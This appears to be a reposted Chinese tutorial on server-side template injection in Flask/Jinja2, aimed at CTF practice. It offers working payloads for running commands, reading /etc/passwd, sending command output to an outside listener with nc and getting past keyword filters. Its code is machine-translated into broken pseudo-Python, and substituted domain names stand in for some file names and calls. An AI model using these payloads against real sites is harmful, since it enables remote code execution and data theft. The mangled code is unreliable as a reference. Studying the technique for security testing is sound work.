当前位置:科技动态 > SSTI(服务器模板注入)学习

SSTI(服务器模板注入)学习

  • 发布:2023-10-01 20:26

SSTI(服务器模板注入)学习

0x01 SSTI 概念

SSTI 当你看到ss这两个字母时,你就会想到服务器。最常见的一种是 SSRF(服务器端请求伪造)。 SSTI 是服务器端模板注入
说到注入,我们常见的注入就是sql注入。我们都熟悉sql注入,但是SSTI和sql注入都是首先获取用户的输入并将其作为Web应用程序模板内容的一部分,然后执行目标编译和渲染的过程。 ,用户插入的恶意内容被执行,可能会导致敏感信息泄露、代码执行、GetShell等问题。其范围主要取决于模板引擎的复杂程度。

0x02 SSTI原理

我们来看一个简单的源码

从烧瓶导入烧瓶,请求
从 jinja2 导入模板

应用程序=烧瓶(__名称__)

@app.route("/")
定义索引():
    name = request.args.get('姓名', '客人')

    t = 模板("你好" + 名字)
    返回 t.render()

如果 __name__ == "__main__":
    应用程序.run()

这是SSTI漏洞的典型例子。原因是render_template_string函数在渲染模板时使用%s动态替换字符串。我们知道Flask使用Jinja2作为模板渲染引擎。 {{}} 在 Jinja2 中作为变量包标识,Jinja2 在渲染时会解析并替换 {{}} 中包裹的内容作为变量。例如,{{1+1}}将被解析为2。
每框模板结构:
网上有很多更详细的服务器模板原理,请参考
SSTI 模板注入

0x03 Build Flask(Jinja2)服务器端模板注入漏洞环境

ctf中比较常见的是python站点的SSTI。我们使用 vulhub 上的环境来重现 Flask 的 SSTI 漏洞
设置完成后,直接访问

来自烧瓶进口烧瓶
从烧瓶导入请求,render_template_string,render_template

应用程序=烧瓶(__名称__)

@app.route('/登录')
def hello_ssti():
    人={
        '名字': '你好',
        “秘密”:“7d793037a0760186574b0282f2f435e7”
    }
    if request.args.get('name'):
        person['name'] = request.args.get('name')
    
    模板 = '

你好%s!

' % person['name'] 返回 render_template_string(模板, 人=人) 如果 __name__ == "__main__": 应用程序运行(调试=真)

试射

传递参数/login?name={{7*7}}查看响应中显示的内容
可以看到括号里的7*7已经计算出来了,说明存在SSTI漏洞
那么如何扩大该漏洞的利用范围呢?这需要一些python知识(这个漏洞并不局限于python,各种语言的模板都有,但大部分都是python)。这里是一个漏洞利用方法
执行任意命令负载

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if b.keys() 中的 'eval' %}
      {{ b['eval']('__import__("os").popen("ls").read()') }} //popen的参数是要执行的命令
    {% 万一 %}
  {% 万一 %}
  {% 结束 %}
{% 万一 %}
{% 结束 %}

内置功能

当我们启动Python解释器时,即使没有创建变量或函数,仍然有很多函数可用,我们称之为内置函数。
内置命名空间:python自己的名称,在python解释器启动时生成,存放一些python内置名称​
我们主要关心的是内置命名空间,它是名称到内置对象的映射。在Python中,初始的builtins模块提供了内置命名空间到内置对象的映射​
dir() 函数用于向我们显示对象的属性。当没有提供对象时,将提供当前环境导入的所有模块。我们可以看到初始模块是什么
在这里,我们可以看到 __builtins__ 作为默认的初始模块出现,因此使用 dir() 命令查看 __builtins__
的组件 这里我们可以看到初始包含了很多熟悉的模块,比如:importstrlen等,所以python可以直接使用一些Initial函数,比如直接使用len()函数
此时,你可能会觉得,只要我们能找到一个预装的模块或类的内置方法,就可以直接使用这个方法来做事了。
这里就不得不说说python的类了
在 python 中
instance.class可以获取当前实例的类对象,如

''.__class__

这里返回的是空字符串的class,即
**class.mro ** 获取当前类对象的所有继承类。只有这个时候,整个继承链的关系才会展现出来。这是一个清单。该对象位于底部,因此位于列表的末尾,可以通过 __mro__[-1] 获取
python2中又多了一个basestring类
base 对象的基类,通常是对象,有时不是。这种情况就需要使用下一个方法
subclasses() 继承该对象的子类,返回一个列表
我们知道Python中的类继承了object,所以只要调用object类对象的__subclasses__()方法,就可以得到我们想要的类的对象,比如用来读取文件的文件对象
更多功能模块参考:
沙箱逃逸常用函数

" ".__class__.__mro__
(, )
>>> "".__class__.__mro__[-1].__subclasses__()
[、...]

由于继承object的子类很多,不方便检查。您可以列出它们

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): 打印 i
...
(0, )
(1, )
(2、)
(3、)
(4、)
(5、)
(6、)
(7、)
(8、)
(9、)
(10、)
(11、)
(12、)
(13、)
(14、)
(15、)
(16、)
(17、)
(18、)
(19、)
(20、)
(21、)
(22、)
(23、)
(24、)
(25、)
(26、)
(27、)
(28、)
(29、)
(30, )
(31、)
(32、)
(33、)
(34、)
(35、)
(36、)
(37、)
(38、)
(39、)
(40, )
…………

可以发现40号指向文件类,这样就可以从文件类中调用open方法了

''.__class__.__mro__[-1].__subclasses__()[40]("/root/Desktop/ssti-test/www.sychzs.cn").read()

这里成功使用了文件对象的匿名实例化,并将要读取的文件名作为参数传递。通过调用其文件读取函数read即可读取该文件。

0x04利用

了解了基本原理后,我们来尝试复现一下,读取密码

''.__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()

命令执行

python环境下常用的命令执行方式。

os.system()

用法:os.system(命令)
但用这个无法回显
我们可以用这个

os.popen()

用法:os.popen(command[,mode[,bufsize]])
说明: mode – 模式权限可以是“r”(默认)或“w”。
popen方法通过www.sychzs.cn()获取终端输出,popen需要关闭close()。当执行成功时,close()不会返回任何值。当失败时,close()返回系统返回值(失败返回1)。可见其获取返回值的方式与os.system不同。
还有一个神奇的功能你需要知道
globals该属性是函数特有的,记录当前文件的全局变量的值。如果一个文件调用了os、sys等库,但我们只能访问文件中的某个函数或对象,那么我们就可以使用globals属性来访问全局变量。该属性保存对函数全局变量的字典引用。

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ") 。读()' )

如果os被过滤了,可以使用

子流程

1.subprocess.check_call()
Python 2.5 中的新函数。执行指定的命令,如果执行成功则返回状态码,否则抛出异常。它的功能相当于www.sychzs.cn(…, check=True)。
2.subprocess.check_output()
Python 2.7 中的新函数。执行指定的命令。如果执行状态码为0,则返回命令执行结果,否则抛出异常。
3.subprocess.Popen(“命令”)
描述:类 subprocess.Popen(args, bufsize=0,executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines =假,startupinfo=无,creationflags=0)
Popen功能非常强大,支持多种参数和模式。可以看到它通过它的构造函数支持很多参数。然而,Popen函数的缺陷在于它是一种阻塞方法。如果运行cmd命令时生成大量内容,该功能很容易阻塞。还有一点,Popen方法不会打印出cmd的执行信息。

__init__方法

__init__ 方法用于实例化对象。在这个函数下,我们可以使用funcglobals(或者__globals)来查看模块下有哪些全局函数可用(注意返回的是一个字典),而linecache是​​用来读取某行的任何文件,该函数引用 os 模块。
组合有效负载:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
e62b7adab33a40c6b6f483c31505f0f6
e62b7adab33a40c6b6f483c31505f0f6

无回声处理

当我们使用os命令执行没有echo时,我们可以使用nc将echo发送到vps

vps:nc -lvp 1234
有效负载:''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')

#vps收到回音
root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 123
监听 [0.0.0.0](系列 0,端口 1234)
接受来自 [xx.xxx.xx.xx] 端口 1234 [tcp/*] 的连接(系列 2,运动 46258)
应用程序.py
www.sychzs.cn
配置文件

反弹壳也是如此。配合命令执行,反弹shell应该很方便。

0x05 旁路

实战或者ctf中出现的SSTI大部分是不能直接使用的。有些关键词通常会被过滤掉,这就需要我们掌握更多的姿势。以下是一些常见的
1.拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

2。筛选“”[]
使用request对象:(这个方法在沙箱中不起作用,只能在web中起作用,因为需要传递参数)
request 变量可以访问所有发送的参数,因此我们可以使用 request.args.param 来检索新的 paramGET 参数的值。将request.args改为request.values,使用post方法传递参数

{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

3。过滤双下划线__
或者请求方式

{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

4。过滤一些函数名如__import__,
python的初始模块_builtin__中有很多危险的方法。如果一种方法没有了,就寻找其他方法
我们可以直接使用eval() exec() execfile()等

__builtins__.eval()

全局

[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')

0x06 参考

https://www.sychzs.cn/index.php/archives/120/
https://www.sychzs.cn/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87% E5%BF%98/
https://www.sychzs.cn/post/id/188172#h3-15
https://www.sychzs.cn/jinja2-template-injection-filter-bypasses/
https://www.sychzs.cn/zz_Caleb/article/details/96480967

相关文章

最新资讯